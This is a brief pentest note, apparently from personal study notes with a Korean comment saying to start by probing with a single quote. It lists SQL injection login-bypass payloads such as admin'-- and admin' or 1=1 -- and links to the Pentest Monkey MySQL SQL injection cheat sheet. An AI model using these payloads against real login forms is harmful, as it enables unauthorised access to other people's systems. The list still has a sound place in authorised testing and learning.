```bash
# 일단 제일 먼저 single quote로 확인 해보기
'
admin'--
admin'-- -
admin' or 1=1 --
admin' or '1'='1
admin' or '1'='1' --
admin' or '1'='1'#
admin' or 1=1#
admin' or 1=1/*
```
[Pentest Monkey SQLi Cheat Sheet](https://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)